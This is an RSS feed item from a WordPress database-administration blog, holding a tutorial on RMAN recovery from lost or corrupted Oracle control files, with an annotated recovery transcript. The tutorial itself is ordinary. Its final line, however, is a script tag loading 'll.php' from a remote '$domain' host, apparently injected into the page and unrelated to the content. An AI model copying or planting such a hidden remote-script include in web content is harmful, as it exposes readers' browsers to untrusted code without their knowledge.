<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; RMAN -Recovery from missing or corrupted control file</title>
	<atom:link href="http://www.bestremotedba.com/tag/rman-recovery-from-missing-or-corrupted-control-file/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>RMAN -Recovery from missing or corrupted control file</title>
		<link>http://www.bestremotedba.com/rman-recovery-from-missing-or-corrupted-control-file/</link>
		<comments>http://www.bestremotedba.com/rman-recovery-from-missing-or-corrupted-control-file/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 01:29:47 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[RMAN]]></category>
		<category><![CDATA[RMAN -Recovery from missing or corrupted control file]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=215</guid>
		<description><![CDATA[RMAN -Recovery from missing or corrupted control file]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Case 1: A multiplexed copy of the control file is available.</p>
<p>On startup Oracle must read the control file in order to find out where the datafiles and online logs are located. Oracle expects to find control files at locations specified in the CONTROL_FILE initialisation parameter. The instance will fail to mount the database if any one of the control files are missing or corrupt. A brief error message will be displayed, with further details recorded in the alert log. The exact error message will vary depending on what has gone wrong. Here&#8217;s an example:</p>
<p>SQL> startup</p>
<p>ORACLE instance started.</p>
<p>Total System Global Area 135338868 bytes<br />
Fixed Size 453492 bytes<br />
Variable Size 109051904 bytes<br />
Database Buffers 25165824 bytes<br />
Redo Buffers 667648 bytes<br />
ORA-00205: error in identifying controlfile, check alert log for more info</p>
<p>SQL></p>
<p>On checking the alert log, as suggested, we find the following:</p>
<p>ORA-00202: controlfile: &#8216;e:\oracle_dup_dest\controlfile\ORCL\control02.ctl&#8217;<br />
ORA-27046: file size is not a multiple of logical block size<br />
OSD-04012: file size mismatch (OS 5447783)</p>
<p>The above corruption was introduced by manually editing the control file when the database was closed.</p>
<p>The solution is simple, provided you have at least one uncorrupted control file &#8211; replace the corrupted control file with a copy using operating system commands. Remember to rename the copied file. The database should now start up without any problems.</p>
<p>Case 2: All control files lost</p>
<p>What if you lose all your control files? In that case you have no option but to use a backup control file. The recovery needs to be performed from within RMAN, and requires that all logs (archived and current online logs) since the last backup are available. The logs are required because all datafiles must also be restored from backup. The database will then have to be recovered up to the time the control files went missing. This can only be done if all intervening logs are available. Here&#8217;s an annotated transcript of a recovery session (as usual, lines in bold are commands to be typed, lines in italics are explanatory comments, other lines are RMAN feedback):</p>
<p>&#8211; Connect to RMAN<br />
C:\>rman target /</p>
<p>Recovery Manager: Release 9.2.0.4.0 &#8211; Production</p>
<p>Copyright (c) 1995, 2002, Oracle Corporation. All rights reserved.</p>
<p>connected to target database: ORCL (not mounted)</p>
<p>&#8211; set DBID &#8211; get this from the name of the controlfile autobackup.<br />
&#8211; For example, if autobackup name is<br />
&#8211; CTL_SP_BAK_C-1507972899-20050124-00 the the DBID is<br />
&#8211; 1507972899. This step will not be required if the instance is<br />
&#8211; started up from RMAN</p>
<p>RMAN> set dbid 1507972899</p>
<p>executing command: SET DBID</p>
<p>&#8211;restore controlfile from autobackup. The backup is not at the default<br />
&#8211;location so the path must be specified</p>
<p>RMAN> restore controlfile from &#8216;e:\backup\CTL_SP_BAK_C-1507972899-20050124-00&#8242;;</p>
<p>Starting restore at 26/JAN/05</p>
<p>using channel ORA_DISK_1<br />
channel ORA_DISK_1: restoring controlfile<br />
channel ORA_DISK_1: restore complete<br />
replicating controlfile<br />
input filename=D:\ORACLE_DATA\CONTROLFILE\ORCL\CONTROL01.CTL<br />
output filename=E:\ORACLE_DUP_DEST\CONTROLFILE\ORCL\CONTROL02.CTL<br />
output filename=C:\ORACLE_DUP_DEST\CONTROLFILE\ORCL\CONTROL03.CTL<br />
Finished restore at 26/JAN/05</p>
<p>&#8211; Now that control files have been restored, the instance can mount the<br />
&#8211; database.</p>
<p>RMAN> mount database;</p>
<p>database mounted</p>
<p>&#8211; All datafiles must be restored, since the controlfile is older than the current<br />
&#8211; datafiles. Datafile restore must be followed by recovery up to the current log.</p>
<p>RMAN> restore database;</p>
<p>Starting restore at 26/JAN/05</p>
<p>using channel ORA_DISK_1<br />
channel ORA_DISK_1: starting datafile backupset restore<br />
channel ORA_DISK_1: specifying datafile(s) to restore from backup set<br />
restoring datafile 00001 to D:\ORACLE_DATA\DATAFILES\ORCL\SYSTEM01.DBF<br />
restoring datafile 00004 to D:\ORACLE_DATA\DATAFILES\ORCL\USERS01.DBF<br />
channel ORA_DISK_1: restored backup piece 1<br />
piece handle=E:\BACKUP\0DGB0I79_1_1.BAK tag=TAG20050124T115832 params=NULL<br />
channel ORA_DISK_1: restore complete<br />
channel ORA_DISK_1: starting datafile backupset restore<br />
channel ORA_DISK_1: specifying datafile(s) to restore from backup set<br />
restoring datafile 00002 to D:\ORACLE_DATA\DATAFILES\ORCL\UNDOTBS01.DBF<br />
restoring datafile 00003 to D:\ORACLE_DATA\DATAFILES\ORCL\TOOLS01.DBF<br />
channel ORA_DISK_1: restored backup piece 1<br />
piece handle=E:\BACKUP\0CGB0I78_1_1.BAK tag=TAG20050124T115832 params=NULL<br />
channel ORA_DISK_1: restore complete<br />
Finished restore at 26/JAN/05</p>
<p>&#8211;Database must be recovered because all datafiles have been restored from<br />
&#8211; backup</p>
<p>RMAN> recover database;</p>
<p>Starting recover at 26/JAN/05<br />
using channel ORA_DISK_1</p>
<p>starting media recovery</p>
<p>archive log thread 1 sequence 2 is already on disk as file E:\ORACLE_ARCHIVE\ORCL\1_2.ARC<br />
archive log thread 1 sequence 4 is already on disk as file D:\ORACLE_DATA\LOGS\ORCL\REDO02A.LOG<br />
archive log thread 1 sequence 5 is already on disk as file D:\ORACLE_DATA\LOGS\ORCL\REDO01A.LOG<br />
archive log thread 1 sequence 6 is already on disk as file D:\ORACLE_DATA\LOGS\ORCL\REDO03A.LOG<br />
archive log filename=E:\ORACLE_ARCHIVE\ORCL\1_2.ARC thread=1 sequence=2<br />
archive log filename=E:\ORACLE_ARCHIVE\ORCL\1_3.ARC thread=1 sequence=3<br />
archive log filename=E:\ORACLE_DATA\LOGS\ORCL\REDO02A.LOG thread=1 sequence=4<br />
archive log filename=E:\ORACLE_DATA\LOGS\ORCL\REDO01A.LOG thread=1 sequence=5<br />
archive log filename=E:\ORACLE_DATA\LOGS\ORCL\REDO03A.LOG thread=1 sequence=6<br />
media recovery complete<br />
Finished recover at 26/JAN/05</p>
<p>&#8211; Recovery completed. The database must be opened with RESETLOGS<br />
&#8211; because a backup control file was used. Can also use<br />
&#8211; &#8220;alter database open resetlogs&#8221; instead.</p>
<p>RMAN> open resetlogs database;</p>
<p>database opened</p>
<p>Several points are worth emphasising.<br />
Recovery using a backup controlfile should be done only if a current control file is unavailable.<br />
All datafiles must be restored from backup. This means the database will need to be recovered using archived and online redo logs. These MUST be available for recovery until the time of failure.<br />
As with any database recovery involving RESETLOGS, take a fresh backup immediately.<br />
Technically the above is an example of complete recovery &#8211; since all committed transactions were recovered. However, some references consider this to be incomplete recovery because the database log sequence had to be reset.<br />
After recovery using a backup controlfile, all temporary files associated with locally-managed tablespaces are no longer available.<br />
You can check that this is so by querying the view V$TEMPFILE &#8211; no rows will be returned. Therefore tempfiles must be added (or recreated) before the database is made available for general use. In the case at hand, the tempfile already exists so we merely add it to the temporary tablespace. This can be done using SQLPlus or any tool of your choice:</p>
<p>SQL> alter tablespace temp add tempfile<br />
&#8216;D:\oracle_data\datafiles\ORCL\TEMP01.DBF&#8217;; </p>
<p>Tablespace altered.</p>
<p>SQL></p>
<p>Check that the file is available by querying v$TEMPFILE.<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/rman-recovery-from-missing-or-corrupted-control-file/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

